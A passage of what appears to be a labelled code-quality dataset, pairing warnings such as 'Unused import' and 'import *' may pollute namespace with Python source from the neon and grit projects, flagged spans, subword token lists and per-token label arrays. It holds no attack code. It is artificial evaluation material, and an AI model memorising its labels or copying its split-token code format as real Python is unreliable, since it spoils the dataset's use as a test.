"\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Test", "Docs", "tring_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "test\\u", "function", "\\u", "doc_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "defs_", "=_", "jedi", "_", "._", "Script_", "(_", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "def", " ", "func", "():", "\\", "10", ";", " ", " ", " ", " ", "'''", "Docs", "tring", " ", "of", " ", "`", "func", "`.", "'''", "\\", "10", ";", " ", " ", " ", " ", "func", "\"\"\"_", ")_", "._", "got", "o", "\\u", "definitions_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "defs_", "[_", "0_", "]_", "._", "raw", "\\u", "doc_", ",_", "'", "Docs", "tring", " ", "of", " ", "`", "func", "`.", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Docs", "tring_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "unittest_", "._", "skip_", "(_", "'", "need", " ", "evaluat", "or", " ", "class", " ", "for", " ", "tha", "t", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "test\\u", "attribute", "\\u", "docstring_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "defs_", "=_", "jedi", "_", "._", "Script_", "(_", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "x", " ", "=", " ", "Non", "e", "\\", "10", ";", " ", " ", " ", " ", "'''", "Docs", "tring", " ", "of", " ", "`", "x", "`.", "'''", "\\", "10", ";", " ", " ", " ", " ", "x", "\"\"\"_", ")_", "._", "got", "o", "\\u", "definitions_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "defs_", "[_", "0_", "]_", "._", "raw", "\\u", "doc_", ",_", "'", "Docs", "tring", " ", "of", " ", "`", "x", "`.", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Docs", "tring_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "unittest_", "._", "skip_", "(_", "'", "need", " ", "evaluat", "or", " ", "class", " ", "for", " ", "tha", "t", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "test\\u", "multiple", "\\u", "docstrings", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "defs_", "=_", "jedi", "_", "._", "Script_", "(_", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "def", " ", "func", "():", "\\", "10", ";", " ", " ", " ", " ", "'''", "Origina", "l", " ", "docstr", "ing", ".'", "''", "\\", "10", ";", " ", " ", " ", " ", "x", " ", "=", " ", "func", "\\", "10", ";", " ", " ", " ", " ", "'''", "Docs", "tring", " ", "of", " ", "`", "x", "`.", "'''", "\\", "10", ";", " ", " ", " ", " ", "x", "\"\"\"_", ")_", "._", "got", "o", "\\u", "definitions_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "docs_", "=_", "[_", "d_", "._", "raw", "\\u", "doc_", "for_", "d_", "in_", "defs_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "docs_", ",_", "[_", "'", "Origina", "l", " ", "docstr", "ing", ".'_", ",_", "'", "Docs", "tring", " ", "of", " ", "`", "x", "`.", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Docs", "tring_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "completion_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "assert_", "jedi", "_", "._", "Script_", "(_", "'''", "\\", "10", ";", " ", " ", " ", " ", "class", " ", "Docs", "tring", "Completi", "on", "():", "\\", "10", ";", " ", " ", " ", " ", "#", "?", " ", "[]", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"", " ", "asd", "fas", " ", "\"\"\"'", "''_", ")_", "._", "completions_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Docs", "tring_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "docstrings", "\\u", "type", "\\u", "dot", "ted", "\\u", "import_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "s_", "=_", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "def", " ", "func", "(", "arg", "):", "\\", "10", ";", " ", " ", "'''", "\\", "10", ";", " ", " ", ":", "type", " ", "arg", ":", " ", "random", ".", "Random", "\\", "10", ";", " ", " ", "'''", "\\", "10", ";", " ", " ", "arg", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "names_", "=_", "[_", "c_", "._", "name_", "for_", "c_", "in_", "jedi", "_", "._", "Script_", "(_", "s_", ")_", "._", "completions_", "(_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "'", "seed", "'_", "in_", "names_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Docs", "tring_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "docstrings", "\\u", "param", "\\u", "type_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "s_", "=_", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "def", " ", "func", "(", "arg", "):", "\\", "10", ";", " ", " ", "'''", "\\", "10", ";", " ", " ", ":", "param", " ", "str", " ", "arg", ":", " ", "some", " ", "description", "\\", "10", ";", " ", " ", "'''", "\\", "10", ";", " ", " ", "arg", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "names_", "=_", "[_", "c_", "._", "name_", "for_", "c_", "in_", "jedi", "_", "._", "Script_", "(_", "s_", ")_", "._", "completions_", "(_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "'", "join", "'_", "in_", "names_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Docs", "tring_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "docstrings", "\\u", "type", "\\u", "str_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "s_", "=_", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "def", " ", "func", "(", "arg", "):", "\\", "10", ";", " ", " ", "'''", "\\", "10", ";", " ", " ", ":", "type", " ", "arg", ":", " ", "str", "\\", "10", ";", " ", " ", "'''", "\\", "10", ";", " ", " ", "arg", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "names_", "=_", "[_", "c_", "._", "name_", "for_", "c_", "in_", "jedi", "_", "._", "Script_", "(_", "s_", ")_", "._", "completions_", "(_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "'", "join", "'_", "in_", "names_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Docs", "tring_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "docstr", "ing", "\\u", "instance_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "The", " ", "types", " ", "hin", "t", " ", "tha", "t", " ", "it", "'", "s", " ", "a", " ", "cert", "ain", " ", "kind_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "s_", "=_", "dedent_", "(_", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "class", " ", "A", ":", "\\", "10", ";", " ", " ", " ", " ", "def", " ", "\\u\\u", "init", "\\u\\u", "(", "self", ",", "a", "):", "\\", "10", ";", " ", " ", "'''", "\\", "10", ";", " ", " ", ":", "type", " ", "a", ":", " ", "thread", "ing", ".", "Thread", "\\", "10", ";", " ", " ", "'''", "\\", "10", ";", "\\", "10", ";", " ", " ", "if", " ", "a", " ", "is", " ", "not", " ", "Non", "e", ":", "\\", "10", ";", " ", " ", "a", ".", "start", "()", "\\", "10", ";", "\\", "10", ";", " ", " ", "self", ".", "a", " ", "=", " ", "a", "\\", "10", ";", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "def", " ", "method", "\\u", "b", "(", "c", "):", "\\", "10", ";", " ", " ", " ", " ", "'''", "\\", "10", ";", " ", " ", " ", " ", ":", "type", " ", "c", ":", " ", "A", "\\", "10", ";", " ", " ", " ", " ", "'''", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "c", ".\"\"\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "names_", "=_", "[_", "c_", "._", "name_", "for_", "c_", "in_", "jedi", "_", "._", "Script_", "(_", "s_", ")_", "._", "completions_", "(_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "'", "a", "'_", "in_", "names_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "'\\u", "\\u", "init", "\\u\\u'_", "in_", "names_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "'", "mro", "'_", "not_", "in_", "names_", "#", " ", "Exist", "s", " ", "only", " ", "for", " ", "types", "._", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Docs", "tring_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "unittest_", "._", "skip", "If_", "(_", "nump", "ydo", "c\\u", "unava", "ilab", "le_", ",_", "'", "nump", "ydo", "c", " ", "module", " ", "is", " ", "unava", "ilab", "le", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "test\\u", "nump", "ydo", "c\\u", "docstring_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "s_", "=_", "dedent_", "(_", "'''", "\\", "10", ";", " ", " ", " ", " ", "def", " ", "fooba", "r", "(", "x", ",", " ", "y", "):", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Parameter", "s", "\\", "10", ";", " ", " ", " ", " ", "----------", "\\", "10", ";", " ", " ", " ", " ", "x", " ", ":", " ", "int", "\\", "10", ";", " ", " ", " ", " ", "y", " ", ":", " ", "str", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "y", ".'''_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "names_", "=_", "[_", "c_", "._", "name_", "for_", "c_", "in_", "jedi", "_", "._", "Script_", "(_", "s_", ")_", "._", "completions_", "(_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "'", "isupper", "'_", "in_", "names_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "'", "capitaliz", "e", "'_", "in_", "names_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Docs", "tring_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "unittest_", "._", "skip", "If_", "(_", "nump", "ydo", "c\\u", "unava", "ilab", "le_", ",_", "'", "nump", "ydo", "c", " ", "module", " ", "is", " ", "unava", "ilab", "le", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "test\\u", "nump", "ydo", "c\\u", "docstr", "ing", "\\u", "set\\u", "of", "\\u", "values_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "s_", "=_", "dedent_", "(_", "'''", "\\", "10", ";", " ", " ", " ", " ", "def", " ", "fooba", "r", "(", "x", ",", " ", "y", "):", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Parameter", "s", "\\", "10", ";", " ", " ", " ", " ", "----------", "\\", "10", ";", " ", " ", " ", " ", "x", " ", ":", " ", "{", "'", "foo", "',", " ", "'", "bar", "',", " ", "1005", "00", "},", " ", "option", "al", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "x", ".'''_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "names_", "=_", "[_", "c_", "._", "name_", "for_", "c_", "in_", "jedi", "_", "._", "Script_", "(_", "s_", ")_", "._", "completions_", "(_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "'", "isupper", "'_", "in_", "names_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "'", "capitaliz", "e", "'_", "in_", "names_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "'", "numerat", "or", "'_", "in_", "names_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Docs", "tring_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "unittest_", "._", "skip", "If_", "(_", "nump", "ydo", "c\\u", "unava", "ilab", "le_", ",_", "'", "nump", "ydo", "c", " ", "module", " ", "is", " ", "unava", "ilab", "le", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "test\\u", "nump", "ydo", "c\\u", "alternative", "\\u", "types_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "s_", "=_", "dedent_", "(_", "'''", "\\", "10", ";", " ", " ", " ", " ", "def", " ", "fooba", "r", "(", "x", ",", " ", "y", "):", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Parameter", "s", "\\", "10", ";", " ", " ", " ", " ", "----------", "\\", "10", ";", " ", " ", " ", " ", "x", " ", ":", " ", "int", " ", "or", " ", "str", " ", "or", " ", "list", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "x", ".'''_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "names_", "=_", "[_", "c_", "._", "name_", "for_", "c_", "in_", "jedi", "_", "._", "Script_", "(_", "s_", ")_", "._", "completions_", "(_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "'", "isupper", "'_", "in_", "names_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "'", "capitaliz", "e", "'_", "in_", "names_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "'", "numerat", "or", "'_", "in_",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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
NervanaSystems/neon/neon/layers/__init__.py
[ { "content": "# ----------------------------------------------------------------------------\n# Copyright 2015 Nervana Systems Inc.\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ----------------------------------------------------------------------------\nfrom neon.layers.layer import (Linear, Bias, Affine, Conv, Convolution, GeneralizedCost, Dropout,\n Pooling, Activation, DataTransform, BatchNorm, BatchNormAutodiff,\n Deconv, Deconvolution, GeneralizedCostMask, LookupTable,\n BranchNode, SkipNode, LRN, ColorNoise)\nfrom neon.layers.recurrent import (Recurrent, LSTM, GRU, RecurrentSum, RecurrentMean, RecurrentLast,\n BiRNN, BiLSTM, DeepBiRNN, DeepBiLSTM)\nfrom neon.layers.container import (Tree, Sequential, MergeMultistream, MergeBroadcast, Multicost,\n RoiPooling, MergeSum, SingleOutputTree)\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "from neon.layers.layer import (Linear, Bias, Affine, Conv, Convolution, GeneralizedCost, Dropout,\n Pooling, Activation, DataTransform, BatchNorm, BatchNormAutodiff,\n Deconv, Deconvolution, GeneralizedCostMask, LookupTable,\n BranchNode, SkipNode, LRN, ColorNoise)", "start_line": 14, "start_column": 0, "end_line": 17, "end_column": 69 }, { "span": "from neon.layers.recurrent import (Recurrent, LSTM, GRU, RecurrentSum, RecurrentMean, RecurrentLast,\n BiRNN, BiLSTM, DeepBiRNN, DeepBiLSTM)", "start_line": 18, "start_column": 0, "end_line": 19, "end_column": 72 }, { "span": "from neon.layers.container import (Tree, Sequential, MergeMultistream, MergeBroadcast, Multicost,\n RoiPooling, MergeSum, SingleOutputTree)", "start_line": 20, "start_column": 0, "end_line": 21, "end_column": 74 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "--------------", "--------------", "--------------", "--------------", "--------------", "------", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Copy", "right", " ", "201", "5", " ", "Ne", "rva", "na", " ", "System", "s", " ", "Inc", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "License", "d", " ", "under", " ", "the", " ", "Ap", "ache", " ", "License", ",", " ", "Version", " ", "2.0", " ", "(", "the", " ", "\"", "License", "\");", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "you", " ", "may", " ", "not", " ", "use", " ", "this", " ", "file", " ", "except", " ", "in", " ", "compli", "anc", "e", " ", "with", " ", "the", " ", "License", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "You", " ", "may", " ", "obtain", " ", "a", " ", "copy", " ", "of", " ", "the", " ", "License", " ", "at_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "http", "://", "www", ".", "apa", "che", ".", "org", "/", "license", "s", "/", "LICENSE", "-", "2.0_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Un", "less", " ", "require", "d", " ", "by", " ", "applica", "ble", " ", "law", " ", "or", " ", "agree", "d", " ", "to", " ", "in", " ", "writ", "ing", ",", " ", "software", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "distributed", " ", "under", " ", "the", " ", "License", " ", "is", " ", "distributed", " ", "on", " ", "an", " ", "\"", "AS", " ", "IS", "\"", " ", "BAS", "IS", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "WITH", "OUT", " ", "WAR", "RAN", "TIES", " ", "OR", " ", "CONDITION", "S", " ", "OF", " ", "ANY", " ", "KIND", ",", " ", "eit", "her", " ", "express", " ", "or", " ", "impli", "ed", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "See", " ", "the", " ", "License", " ", "for", " ", "the", " ", "specific", " ", "language", " ", "govern", "ing", " ", "permissi", "ons", " ", "and_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "limit", "ation", "s", " ", "under", " ", "the", " ", "License", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "--------------", "--------------", "--------------", "--------------", "--------------", "------", "_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "neon", "_", "._", "layers_", "._", "layer_", "import_", "(_", "Linear_", ",_", "Bia", "s_", ",_", "Affi", "ne_", ",_", "Conv", "_", ",_", "Convolution", "_", ",_", "General", "ize", "d", "Cost_", ",_", "Dropout_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Pooling", "_", ",_", "Activation_", ",_", "Data", "Transform_", ",_", "Bat", "ch", "Norm_", ",_", "Bat", "ch", "Norm", "Auto", "diff_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Deco", "nv_", ",_", "Deco", "nv", "oluti", "on_", ",_", "General", "ize", "d", "Cost", "Mask_", ",_", "Look", "up", "Table_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Branc", "h", "Node_", ",_", "Ski", "p", "Node_", ",_", "LR", "N_", ",_", "Color", "Noise_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "neon", "_", "._", "layers_", "._", "recurrent", "_", "import_", "(_", "Recurren", "t_", ",_", "LSTM", "_", ",_", "GRU", "_", ",_", "Recurren", "t", "Sum_", ",_", "Recurren", "t", "Mean_", ",_", "Recurren", "t", "Last_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Bi", "RN", "N_", ",_", "Bi", "LSTM", "_", ",_", "De", "ep", "Bi", "RN", "N_", ",_", "De", "ep", "Bi", "LSTM", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "neon", "_", "._", "layers_", "._", "container_", "import_", "(_", "Tree_", ",_", "Sequential_", ",_", "Merge", "Multi", "stream_", ",_", "Merge", "Broad", "cast_", ",_", "Multi", "cost_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Ro", "i", "Pooling", "_", ",_", "Merge", "Sum_", ",_", "Sing", "le", "Output", "Tree_", ")_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
'import *' may pollute namespace
rsgalloway/grit/grit/server/server.py
[ { "content": "#!/usr/bin/env python\n#\n# Copyright (C) 2011-2012 Ryan Galloway ([email protected])\n#\n# This module is part of Grit and is released under\n# the BSD License: http://www.opensource.org/licenses/bsd-license.php\n\nimport os\nimport sys\nimport urllib\nimport urlparse\nimport simplejson as json\n\nfrom datetime import datetime as dt\n\nfrom stat import *\n\nfrom cherrypy import CherryPyWSGIServer\nfrom wsgiref.headers import Headers\nfrom git_http_backend import GitHTTPBackendInfoRefs\nfrom git_http_backend import GitHTTPBackendSmartHTTP\nfrom git_http_backend import WSGIHandlerSelector\nfrom git_http_backend import StaticWSGIServer\n\nfrom grit.repo import Local\nfrom grit.repo import is_repo, get_repo_parent\nfrom grit.server.handler import *\nfrom grit.exc import *\nfrom grit.log import log\nfrom grit.cfg import GRIT_STATIC_DIR\n\n# needed for static content server\nimport time\nimport email.utils\nimport mimetypes\nmimetypes.add_type('application/x-git-packed-objects-toc','.idx')\nmimetypes.add_type('application/x-git-packed-objects','.pack')\n\n__all__ = ['Server']\n\n\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "from stat import *", "start_line": 15, "start_column": 0, "end_line": 15, "end_column": 18 } ]
[]
1
true
[ "[CLS]_", "'", "import", " ", "*'_", "may", "_", "poll", "ute", "_", "namespace_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#!", "/", "usr", "/", "bin", "/", "env", " ", "python_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Copy", "right", " ", "(", "C", ")", " ", "2011", "-", "2012", " ", "Ry", "an", " ", "Gal", "low", "ay", " ", "(", "ry", "an", "@", "rs", "gall", "owa", "y", ".", "com", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thi", "s", " ", "module", " ", "is", " ", "part", " ", "of", " ", "Gri", "t", " ", "and", " ", "is", " ", "released", " ", "under", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "the", " ", "BS", "D", " ", "License", ":", " ", "http", "://", "www", ".", "opens", "ource", ".", "org", "/", "license", "s", "/", "bsd", "-", "license", ".", "php", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "urllib_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "urlparse_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "simplejson_", "as_", "json_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "datetime_", "import_", "datetime_", "as_", "dt_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "stat_", "import_", "*_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "cherrypy_", "import_", "Che", "rr", 